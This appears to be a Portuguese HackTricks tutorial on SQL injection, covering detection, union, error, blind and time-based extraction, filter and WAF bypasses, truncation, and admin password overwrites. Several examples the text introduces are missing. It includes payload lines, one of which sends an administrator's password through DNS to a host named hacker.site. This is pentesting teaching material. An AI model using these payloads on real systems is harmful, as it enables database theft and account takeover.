<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de um aplicativo. Essa vulnerabilidade pode permitir que os atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais o aplicativo possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo do aplicativo ou até mesmo comprometer o servidor ou negar o serviço.
Quando um site parece estar **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de uma injeção de SQL.
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
Em alguns casos, as **funções de sleep não serão permitidas**. Em vez de usar essas funções, você pode fazer a consulta **realizar operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver)_.
A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você pode usar as _**funções de sleep**_ da seção anterior ou estas (tabela de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Primeiramente, precisamos descobrir o **número** de **colunas** que a **solicitação inicial** está retornando. Isso ocorre porque **ambas as consultas devem retornar o mesmo número de colunas**.\
Dois métodos são tipicamente usados para este propósito:
Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas **ORDER BY** ou **GROUP BY** até receber uma resposta falsa. Apesar das funcionalidades distintas de **GROUP BY** e **ORDER BY** dentro do SQL, ambos podem ser utilizados de forma idêntica para determinar a contagem de colunas da consulta.
_É recomendável usar valores `null`, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e `null` é válido em todos os casos._
_Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma._
## Explorando a Injeção Baseada em União Oculta
Quando a saída de uma consulta é visível, mas uma injeção baseada em união parece inatingível, isso significa a presença de uma **injeção baseada em união oculta**. Esse cenário frequentemente leva a uma situação de injeção cega. Para transformar uma injeção cega em uma baseada em união, a consulta de execução no backend precisa ser discernida.
Isso pode ser realizado por meio do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) de destino. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS de destino.
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da injeção baseada em união recém-acessível.
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
Seguindo um fluxo semelhante ao da exploração Baseada em União, você pode conseguir extrair o banco de dados.
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque existem conteúdos diferentes na página.\
Este é o **mesmo caso que antes** mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir se** há um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. No entanto, você pode fazer a página **demorar mais para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica sendo usada anteriormente para [confirmar uma vulnerabilidade de SQLi](./#confirming-with-timing).
Você pode usar consultas em pilha para **executar várias consultas em sucessão**. Observe que, embora as consultas subsequentes sejam executadas, os **resultados****não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
Se **nenhum outro** método de exploração **funcionar**, você pode tentar fazer com que o **banco de dados exfiltre** as informações para um **host externo** controlado por você. Por exemplo, por meio de consultas DNS:
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando entradas que, ao serem hashadas, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto principal"** (provavelmente **admin** no caso de usuários) modificando algo:
* **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com o nome: **admin \[muitos espaços] a**
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
O banco de dados irá **verificar** se o **nome de usuário****existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita de inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é um engodo, e a segunda linha visa um e-mail de administrador existente com a intenção de atualizar a senha:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
A injeção de SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Em alguns casos, os filtros de entrada podem bloquear palavras-chave específicas, como "UNION" ou "SELECT". No entanto, é possível contornar esses filtros usando comentários para dividir as palavras-chave. Por exemplo, em vez de usar "UNION", você pode usar "UNION/**/ALL" para evitar a detecção. Certifique-se de testar diferentes variações para encontrar a que funciona melhor no contexto específico.
Neste desafio, o objetivo é contornar a restrição de não poder usar espaços em uma injeção SQL, utilizando parênteses para separar os comandos. Isso pode ser útil em situações em que os espaços são filtrados, mas outros caracteres especiais são permitidos.
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Primeiramente, observe que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso ficaria assim:
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.